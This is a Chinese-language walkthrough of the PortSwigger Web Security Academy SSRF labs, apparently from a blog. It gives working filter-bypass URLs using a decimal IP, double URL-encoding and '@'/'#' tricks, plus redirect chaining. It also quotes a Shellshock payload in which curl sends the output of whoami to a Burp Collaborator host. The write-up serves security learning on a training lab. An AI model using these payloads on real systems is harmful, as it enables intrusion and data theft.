Portswigger web security academy:Server-side request forgery (SSRF)

Basic SSRF against the local server

  • 题目描述

    • lab中的库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
  • 解题过程

    • 寻找漏洞功能点

      • 在商品详情页底部

      • 很明显stockApi 是一个url-encode之后的url

    • 访问/admin

      • 发现删除carlos 的链接

    • 删除carlos

      • ssrf访问/admin/delete?username=carlos 即可

Basic SSRF against another back-end system

  • 题目描述

    • lab中的库存检查功能会从内部系统获取数据
    • 要求扫描192.168.0.x网段的8080端口,寻找admin页面,并删除carlos
  • 解题过程

    • 相比上道题,只多了一个扫描,用intruder即可完成

      • 直接抓包丢给intruder

      • 网段范围0 - 255

      • 发现admin页面

    • 按照上道题,利用ssrf访问删除即可

SSRF with blacklist-based input filter

  • 题目描述

    • 库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
    • 有比较弱的防御SSRF的过滤
  • 解题过程

    • 寻找过滤关键字

      • 127.0.0.1
      • localhost
      • admin
    • bypass

      • 使用数字ip

        • 127.0.0.1转换为数字ip2130706433
      • url编码

        • 通过http,接收后会自动decode一次,之后内部访问,会再次decode,所以可以两次编码

        • admin转换为两次url编码%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

        • 拼接:http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

    • 访问http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos即可

SSRF with whitelist-based input filter

  • 题目描述

    • 好家伙,第四个就直接来EXPERT等级
    • 库存检查功能会从内部系统获取数据
    • 要求访问http://localhost/admin并删除用户carlos
    • 有防御SSRF的过滤
  • 解题过程

    • 先尝试数字ip

      被告知url只能是指定站点stock.weliketoshop.net

    • 尝试使用xip.io绕过

      发现仍然提示,只能访问指定站点

    • 考虑到题目名是“基于白名单的输入过滤”,先手动测一下白名单内容

      • 必须是http://stock.weliketoshop.net开头,中间不能有其他字符

      • http://127.0.0.1@stock.weliketoshop.net:8080 可行 而 http://stock.weliketoshop.net:8080@127.0.0.1不可行

        而且http://stock.weliketoshop.net这个域名没有注册,所以应该是正则匹配

      • 推测正则

        • ^http://([^\s]{1,}@){0,1}stock.weliketoshop.net(:\d)?(/[-./?%&=\w]*)?

        • 去网上看了好多绕过的文章和姿势,都绕不过 = =

      一度陷入自我怀疑

    • 又看了下正则,我觉得可能的情况只有两种

      • 存在url跳转
      • 用@ HTTP基础验证
    • 尝试url跳转

      • 参数污染(x
      • api泄露(x
      • get参数fuzz(x 我还扔到sqlmap和dirsearch里跑了一遍
      • url解析漏洞(x
    • 尝试用@ HTTP基础验证

      在这个正则下,只能是xxx@stock.weliketoshop.net

      • 我第一个想到的是用#锚,使得@stock.weliketoshop.net失效

        即http://127.0.0.1#@stock.weliketoshop.net

        但是这样的话,锚会直接生效,会获取到错误的hostname

      • 所以需要url-encode一次,使得接收到时#为url编码,检查通过后向内网发起请求时才是#

        即http://127.0.0.1%23@stock.weliketoshop.net

        (这一步我脑子瓦特了,因为#作为url关键字,本身就会被编码一次,即:#在url里发送出去就是%23 )

        所以应该是http://127.0.0.1%2523@stock.weliketoshop.net (啊啊啊啊啊,我上面尝试失败后就去看solution了,然后被气死)

    • 剩下的就和之前的方法一样

SSRF with filter bypass via open redirection vulnerability

  • 题目描述

    • 库存检查功能会从内部系统获取数据
    • 要求访问http://192.168.0.12:8080/admin并删除用户carlos
    • 库存检查把访问权限限制为了本地,所以需要寻找重定向来绕过
  • 解题过程

    • 寻找重定向接口

      • 在商品详情的翻页中找到一个比较像的

    • 测试接口

      • stockApi=/product/nextProduct?path=/

      • 看起来有点像302.php,直接location跳转,但是不会跟踪跳转,所以需要一个接口去访问这个跳转页面,用之前的checkStock即可

Blind SSRF with out-of-band detction

  • 题目描述

    • 打开商品页面的时候,分析软件会获取referer
    • 要求生成一个访问collaborator的HTTP请求
  • 解题过程

    • 直接把Referer改成collaborator的url即可

      这道题感觉莫名其妙,没有获取任何数据或者执行任何动作,不过倒是想知道这个分析软件的源码(x 打开下道题就不觉得莫名其妙了

Blind SSRF with Shellshock exploitation

  • 题目描述

    • 打开商品页面的时候,分析软件会获取referer
    • 要求通过SSRF,发现192.168.0.x中的一个存活主机,使用Shellshock的payload攻击该存活主机,并利用collaborator获取用户名
  • 解题过程

    • 先去搜了下Shellshock

      • CVE-2014-6271 破壳漏洞(bash的一个漏洞)

      • 这篇文章 写的很清楚

        节选部分

        POC : env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

          env : 设置环境变量后执行程序
        
          bash -c : 启动一个新的Bash , 然后执行后面的命令 . 只有子进程开启时才会其解析环境变量中函数的定义

        通过 bash -c 开启当前 Bash 的子进程 , 在子进程载入时会初始化用户环境变量 , 在初始化时发现了包含 "() {" 格式的字符串 , 所以将该字符串作为一个自动导入函数 . 但由于没有判断函数定义的结束 , 所以错误的将该函数定义后的语句也初始化并当作命令执行了 . 所以子 Bash 会执行该语句并输出 vulnerable , 然后再输出 this is a test .

        简单的说 , 就是将恶意命令添加到合法的Bash函数定义后 , 在启动子进程时 , Bash 会先执行恶意命令 , 然后再执行正常的指令 .

    • 按照上道题,测试漏洞点

      • 但是这里只能访问某个URL,Shellshock漏洞需要在UA中添加payload,应该要用gopher,但是尝试过不成功
      • 寻找存活主机? 这也没有反馈,只能构造好payload,一把梭哈
      • 寻找构造SSRF的方法?没找到
    • 看了下solution,意思是把目标主机URL放在Referer ,payload放在UA里

      • 先试试

        payload:() { :;};curl http://i3mquc43cvfw1xn69b2tpc93fulw9l.burpcollaborator.net/`whoami`

      • 成功了

      也就是说,分析功能在访问Referer的同时,会带上原本的User-Agent。。。这是什么思路,自己给自己刷流量吗 = = ,个人感觉考gopher会好一点

      ​

Portswigger web security academy:Server-side request forgery (SSRF)的更多相关文章

  1. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  2. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  3. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  4. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  5. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  6. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  7. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  8. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  9. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

随机推荐

  1. go中sync.Once源码解读

    sync.Once 前言 sync.Once的作用 实现原理 总结 sync.Once 前言 本次的代码是基于go version go1.13.15 darwin/amd64 sync.Once的作 ...

  2. flutter简易教程

    跟Java等很多语言不同的是,Dart没有public protected private等关键字,如果某个变量以下划线 _ 开头,代表这个变量在库中是私有的.Dart中变量可以以字母或下划线开头,后 ...

  3. Java并发编程之多线程

    线程 进程/线程/协程/管程 进程:操作系统会以进程为单位,分配系统资源(CPU时间片.内存等资源),是资源分配的最小单位 进程间通信(IPC): 管道(Pipe) 命名管道(FIFO) 消息队列(M ...

  4. 攻防世界 reverse elrond32

    tinyctf-2014 elrond32 1 int __cdecl main(int a1, char **arg_input) 2 { 3 if ( a1 > 1 && c ...

  5. Dynamics CRM安装教程九(续):自建证书的CRM项目客户端设置CRM访问

    配置完IFD之后就可以为客户端电脑配置访问CRM了首先到CA证书服务器中把证书下载下来,打开CA服务器的浏览器,输入地址http://stg-ad/certsrv/ 其中stg-ad是机器名之后点击下 ...

  6. UnitOneSummary

    目录 一.程序结构分析 第一次作业 第二次作业 第三次作业 二.Test & Bugs 三.设计模式 四.总结与反思 一.程序结构分析 第一次作业 思路: 1.输入预处理: 去除空格和\t 替 ...

  7. 比较运算规则 == 、 ===、Object.is 和 ToPrimitive 方法 [[DefaultValue]] (hint)

    1.== 相等运算符 如果 x 与 y 类型一致时规则如下: 1. 如果 x 类型为 Undefined,返回 true. 2. 如果 x 类型为 Null,返回 true. 3. 如果 x 类型为 ...

  8. 【CTF】图片隐写术 · 修复被修改尺寸的PNG图片

    前言 今天我们想来介绍一下关于图片隐写相关处理,以及修复被修改尺寸的PNG图片. 关于PNG图片的相关处理,是CTF Misc图片隐写术中极为基础的一项操作,笔者这里是想要提一些做题过程中发现的小技巧 ...

  9. 【笔记】《算法竞赛入门》习题7-6 UVa12113_重叠的正方形

    title: 习题7-6 UVa12113_重叠的正方形 date: 2021-01-31 19:08:00 categories: 算法竞赛入门 tags: 数据结构 算法 UVa <算法竞赛 ...

  10. 限制pyqt5应用程序 只允许打开一次

    起因 pyqt5程序创建桌面快捷方式后,多次单击图标 会打开多个UI界面,这种情况肯定是不允许的! 解决 if __name__ == '__main__': try: app = QtWidgets ...